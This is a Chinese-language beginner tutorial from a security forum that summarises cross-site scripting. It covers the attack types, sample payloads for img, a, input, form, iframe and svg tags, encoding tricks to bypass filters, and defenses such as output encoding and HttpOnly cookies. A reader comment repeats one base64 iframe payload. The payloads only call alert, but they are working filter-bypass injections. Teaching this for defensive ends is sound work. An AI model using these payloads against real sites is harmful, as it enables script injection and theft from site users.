XSS小结

wkend / 2018-10-19 21:06:34 / 浏览数 5662 新手 入门资料 顶(1) 踩(0)

---

xss总结

XSS是什么？

XSS全称跨站脚本(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets,
CSS)的缩写混淆，故缩写为XSS。跨站点脚本（XSS）攻击是一种注射型攻击，攻击者在可信的网页中嵌入恶意代码，用户访问可信网页时触发XSS而被攻击。

XSS会造成那些危害？

攻击者通过Web应用程序发送恶意代码，一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码，将很容易的导致XSS。

- 网络钓鱼，包括获取各类用户账号；
- 窃取用户cookies资料，从而获取用户隐私信息，或利用用户身份进一步对网站执行操作；
- 劫持用户（浏览器）会话，从而执行任意操作，例如非法转账、强制发表日志、电子邮件等；
- 强制弹出广告页面、刷流量等；
- 网页挂马；
- 进行恶意操作，如任意篡改页面信息、删除文章等；
- 进行大量的客户端攻击，如ddos等；
- 获取客户端信息，如用户的浏览历史、真实ip、开放端口等；
- 控制受害者机器向其他网站发起攻击；
- 结合其他漏洞，如csrf,实施进一步危害；
- 提升用户权限，包括进一步渗透网站；
- 传播跨站脚本蠕虫等

XSS是如何产生的

通过在用户端注入恶意的可执行脚本，若服务器对用户的输入不进行处理或处理不严，则浏览器就会直接执行用户注入的脚本。

XSS常见出现漏洞的地方

1. 数据交互的地方
   - get、post、cookies、headers
   - 反馈与浏览
   - 富文本编辑器
   - 各类标签插入和自定义
2. 数据输出的地方
   - 用户资料
   - 关键词、标签、说明
   - 文件上传

XSS的分类

- 反射性XSS
- 存储型XSS
- DOM型XSS

反射性XSS

又称非持久型XSS，这种攻击方式往往具有一次性，只在用户单击时触发。

常见注入点

网站的搜索栏、用户登录入口、输入表单等地方，常用来窃取客户端cookies或钓鱼欺骗。

攻击方式

攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时，服务器接受该目标用户的请求并进行处理，然后服务器把带有XSS的代码

存储型XSS

又称持久型XSS，比反射型XSS更具有威胁性，并且可能影响到Web服务器自身的安全。攻击脚本将被永久的存放在目标服务器的数据库或文件中。

常见注入点

论坛、博客、留言板、网站的留言、评论、日志等交互处。

攻击方式

攻击者在发帖或留言的过程中，将恶意脚本连同正常信息一起注入到发布内容中。随着发布内容被服务器存储下来，恶意脚本也将永久的存放到服务器的后端存储器中。当其

DOM型XSS

DOM(Document object model)，使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。

DOM型XSS其实是一种特殊类型的反射型XSS，它是基于DOM文档对象的一种漏洞。DOM型XSS是基于js上的。不需要与服务器进行交互。

注入点

通过js脚本对对文档对象进行编辑，从而修改页面的元素。也就是说，客户端的脚本程序可以DOM动态修改页面的内容，从客户端获取DOM中的数据并在本地执行。由于D

攻击方式

用户请求一个经过专门设计的URL，它由攻击者提供，而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本，当用户的浏览器处理这个响应时，DOM对

常见标签

<img>标签

利用方式1

```
<img src=javascript:alert("xss")>

<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>

<img scr="URL" style='Xss:expression(alert(/xss));'

<!--CSS■■xss-->
<img STYLE="background-image:url(javascript:alert('XSS'))">
```

XSS利用方式2

```
<img src="x" onerror=alert(1)>

<img src="1" onerror=eval("alert('xss')")>
```

XSS利用方式3

```
<img src=1 onmouseover=alert('xss')>
```

<a>标签

标准格式

```
<a href="https://www.baidu.com">baidu</a>
```

XSS利用方式1

```
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
```

XSS利用方式2

```
<script>alert('xss')</script>
<a href="" onclick=alert('xss')>aa</a>
```

利用方式3

```
<a href="" onclick=eval(alert('xss'))>aa</a>
```

利用方式4

```
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
```

input标签

标准格式

```
<input name="name" value="">
```

利用方式1

```
<input value="" onclick=alert('xss') type="text">
```

利用方式2

```
<input name="name" value="" onmouseover=prompt('xss') bad="">
```

利用方式4

```
<input name="name" value=""><script>alert('xss')</script>
```

<form>■■

XSS利用方式1

```
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
```

XSS利用方式2

```
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
```

XSS利用方式3

```
<!--■code-->
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<!--base64■■-->
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
```

<iframe>标签

XSS利用方式1

```
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
```

XSS利用方式2

```
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>

<!--■code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64■■-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
```

XSS利用方式3

```
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
```

XSS利用方式3

```
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
```

svg<>标签

```
<svg onload=alert(1)>
```

XSS编码绕过

- js编码

- HTML实体编码
- URL编码
- String.fromCharCode编码

在线xss转码：https://www.toolmao.com/xsstranser

JS编码

JS提供了四种字符编码的策略，

- 三个八进制数字，如果数字不够，在前面补零，如a的编码为`\141`
- 两个十六进制数字，如果数字不够，在前面补零，如a的编码为`\x61`
- 四个十六进制数字，如果数字不够，在前面补零，如a的编码为`\u0061`
- 对于一些控制字符，使用特殊的C类型的转义风格，如`\n`和`\r`

HTML实体编码

命名实体

以&开头，以分号结尾的，如<的编码为`&1t;`

字符编码

十进制，十六进制的ASCII码或者Unicode字符编码。样式为`&#■■;`

如<的编码为

`<` (10进制)

`<` (16进制)

URL编码

这里为url全编码，也就是两次url编码

如`alert`的url全编码为`%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34`

String.fromCharCode编码

如`alert`的编码为`String.fromCharCode(97,108,101,114,116)`

XSS的防御

使用XSS Filter

输入过滤

输入验证

对用户提交的数据进行有效验证，仅接受指定长度范围内的，采用适当格式的内容提交，阻止或者忽略除此以外的其他任何数据。

常见的检测或过滤：

- 输入是否仅仅包含合法的字符
- 输入字符串是否超过最大长度的限制
- 输入如果为数字，数字是否在指定的范围内
- 输入是否符合特定的格式要求，如邮箱、电话号码、ip地址等

数据消毒

除了在客户端验证数据的合法性，输入过滤中最重要的还是过滤和净化有害的输入，例如如下常见的敏感字符：

```
|| < > ' " & # javascript expression
```

输出编码

对输出的数据进行编码，如HTML编码，就是让可能造成危害的信息变成无害。

白名单和黑名单

定制过滤策略

web安全编码规范

防御DOM-Based XSS

两点注意点：

1. 避免客户端文档重写、重定向或其他敏感操作，同时避免使用客户端数据，这些操作尽量在服务端使用动态页面来实现。
2. 分析和强化客户端Javascript代码，尤其是一些受到影响的Dom对象

其他防御方式

Anti_XSS

微软开发的，.Net平台下的，用于方式XSS攻击的类库，它提供了大量的编码函数来对用户输入的数据进行编码，可以实现基于白名单的输入的过滤和输出编码。

HttpOnly Cookie

当Cookie在消息头中被设置为HttpOnly时，这样支持Cookie的浏览器将阻止客户端Javascript直接访问浏览器中的cookies，从而达到保护敏感数据的作用。

Noscript

Noscript是一款免费的开源插件，该插件默认禁止所有脚本，但可以自定义设置允许通过的脚本。

WAF

使用WAF，比如软WAF，硬WAF、云WAF等。

上一篇：以东亚为目标的危险活动追踪报告 下一篇：CVE-2018-8460：基于I...

1. 3 条回复

m0d9 2018-11-19 10:37:44

吊吊的

0 回复Ta


网络民工 2018-12-28 15:31:28

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>

0 回复Ta


mochu**** 2019-03-30 22:36:17

不错

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板